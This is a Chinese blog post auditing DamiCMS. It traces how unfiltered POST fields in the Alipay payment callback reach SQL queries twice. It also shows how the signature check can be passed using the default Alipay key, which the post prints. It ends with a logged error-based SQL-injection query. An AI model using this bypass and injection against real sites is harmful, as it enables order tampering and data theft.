大米cms注入
首页 > web安全 > 代码审计    作者:webbaozi   2019年9月4日 23:17 星期三   热度:220°   百度已收录  
时间:2019-9-4 23:17   热度:220° 

好久没写文章了,发一个去年看的cms

在php_safe.php中

get参数过滤了’,而post和cookie都没有过滤,所以找到一个除get外又是拼接两次的

在文件web\lib\action\publicaction.class.php中

//在线充值或在线订单处理
    function shouquan()
    {
        $ap_path = (intval(C('AP_TYPE')) == 1 ? 'ap_jishi' : 'ap_danbao');
        require_once("./Trade/{$ap_path}/alipay.config.php");
        require_once("./Trade/{$ap_path}/lib/alipay_notify.class.php");
//计算得出通知验证结果
        $alipayNotify = new AlipayNotify($alipay_config);
        $verify_result = $alipayNotify->verifyNotify();

        if ($verify_result) {//验证成功

            //商户订单号WIDout_trade_no

            $out_trade_no = $_POST['out_trade_no'];

            //支付宝交易号

            $trade_no = $_POST['trade_no'];

            //交易状态
            $trade_status = $_POST['trade_status'];

            $total_fee = $_POST['total_fee'];
            if ($_POST['trade_status'] == 'WAIT_BUYER_PAY') {
                //该判断表示买家已在支付宝交易管理中产生了交易记录,但没有付款

                //判断该笔订单是否在商户网站中已经做过处理
                //如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序
                //如果有做过处理,不执行商户的业务程序

                M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status', 0);
                logResult('等待买家付款!');
                echo "success";        //请不要修改或删除
            } else if ($_POST['trade_status'] == 'WAIT_SELLER_SEND_GOODS') {
                //该判断表示买家已在支付宝交易管理中产生了交易记录且付款成功,但卖家没有发货
                //判断该笔订单是否在商户网站中已经做过处理
                //如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序
                //如果有做过处理,不执行商户的业务程序
                M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status', 1);
                logResult('已付款,等待发货!');
                echo "success";        //请不要修改或删除


                //调试用,写文本函数记录程序运行情况是否正常
                //logResult("这里写入想要调试的代码变量值,或其他运行的结果记录");
            } else if ($_POST['trade_status'] == 'WAIT_BUYER_CONFIRM_GOODS') {
                //该判断表示卖家已经发了货,但买家还没有做确认收货的操作

                //判断该笔订单是否在商户网站中已经做过处理
                //如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序
                //如果有做过处理,不执行商户的业务程序
                M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status', 2);
                logResult('已发货,等待收货!');
                echo "success";        //请不要修改或删除

                //调试用,写文本函数记录程序运行情况是否正常
                //logResult("这里写入想要调试的代码变量值,或其他运行的结果记录");
            } else if ($_POST['trade_status'] == 'TRADE_SUCCESS') {
                $this->payed_worker($trade_no,$out_trade_no,$total_fee);
            } //退款退货相关
            else if ($_POST['refund_status'] == 'WAIT_SELLER_AGREE') {
                M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status', 7);
            } else if ($_POST['refund_status'] == 'WAIT_BUYER_RETURN_GOODS') {
                M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status', 8);
            } else if ($_POST['refund_status'] == 'REFUND_SUCCESS') {
                M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status', 9);

            } else if ($_POST['trade_status'] == 'TRADE_CLOSED') {
                M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status', 10);
            } else {
                logResult($out_trade_no . '<BR>');
            }
        } else {
            //验证失败
            logResult('验证失败<BR>');
            echo "fail";

            //调试用,写文本函数记录程序运行情况是否正常
            //logResult("这里写入想要调试的代码变量值,或其他运行的结果记录");
        }
    }

shouquan这个函数恰好满足条件

看看shouquan这个函数

如果要进入需要验证并且返回为true才能进入,跟进函数verifyNotify

function verifyNotify(){
        if(empty($_POST)) {//判断POST来的数组是否为空
            return false;
        }
        else {
            //生成签名结果
            $isSign = $this->getSignVeryfy($_POST, $_POST["sign"]);
            //获取支付宝远程服务器ATN结果(验证是否是支付宝发来的消息)
            $responseTxt = 'true';
            if (! empty($_POST["notify_id"])) {$responseTxt = $this->getResponse($_POST["notify_id"]);}

            //写日志记录
            //if ($isSign) {
            //    $isSignStr = 'true';
            //}
            //else {
            //    $isSignStr = 'false';
            //}
            //$log_text = "responseTxt=".$responseTxt."\n notify_url_log:isSign=".$isSignStr.",";
            //$log_text = $log_text.createLinkString($_POST);
            //logResult($log_text);

            //验证
            //$responsetTxt的结果不是true,与服务器设置问题、合作身份者ID、notify_id一分钟失效有关
            //isSign的结果不是true,与安全校验码、请求时的参数格式(如:带自定义参数等)、编码格式有关
            if (preg_match("/true$/i",$responseTxt) && $isSign) {
                return true;
            } else {
                return false;
            }
        }
    }

1.满足post不为空,这个肯定满足

进入else

查看最后return true需要满足条件$responseTxt与$isSign同为真

$responseTxt初始值为true,所以我们不传入notify_id参数即可

$isSign值,需要跟进函数getSignVeryfy

function getSignVeryfy($para_temp, $sign) {
        //除去待签名参数数组中的空值和签名参数
        $para_filter = paraFilter($para_temp);

        //对待签名参数数组排序
        $para_sort = argSort($para_filter);

        //把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串
        $prestr = createLinkstring($para_sort);

        $isSgin = false;
        switch (strtoupper(trim($this->alipay_config['sign_type']))) {
            case "MD5" :
                $isSgin = md5Verify($prestr, $sign, $this->alipay_config['key']);
                break;
            default :
                $isSgin = false;
        }

        return $isSgin;
    }

这里没啥看的继续跟进函数md5Verify

function md5Verify($prestr, $sign, $key) {
    $prestr = $prestr . $key;
    $mysgin = md5($prestr);

    if($mysgin == $sign) {
        return true;
    }
    else {
        return false;
    }
}

这里需要三个参数$prestr为post传入的值,$sign为post传入的加密结果,$key是alipay配置的支付校验码

返回为true只需要满足条件

$sign与md5($prestr . $key)相等即可

$prestr可控,$alipay_config[‘key’]=’2c42yn37ykwg0m41us704r41dfcf9tmu’;//一般不会改

执行加密时下图中的%0a换行需要改成\n

开始实践,payload加key

d5d8e80e7606e23a230b53108408ae39

然后查看数据日志

181019 16:09:46       60 Connect    [email protected] on dami
           60 Query    SET NAMES 'utf8'
           60 Query    SET sql_mode=''
           60 Query    UPDATE `dami_member_trade` SET `status`=10 WHERE ( out_trade_no='')
|| -- ') and (-- */1,concat(0x7e,(@@version)),1) like 0x25 and ('
updatexml(/*' or group_trade_no='')
|| -- ') and (-- */1,concat(0x7e,(@@version)),1) like 0x25 and ('
updatexml(/*' )
           60 Quit

放入数据库执行一遍

payload就自行构造了

二维码加载中...
本文作者:webbaozi      文章标题: 大米cms注入
本文地址:http://www.webbaozi.com/dmsj/113.html
版权声明:若无注明,本文皆为“baozi|学与用”原创,转载请保留文章出处。
fant4t1c2019-09-16 16:24
师傅终于更新了:)

返回顶部    首页    手机版本   
版权所有:baozi|学与用    站长: webbaozi  蜀ICP备16032848号-1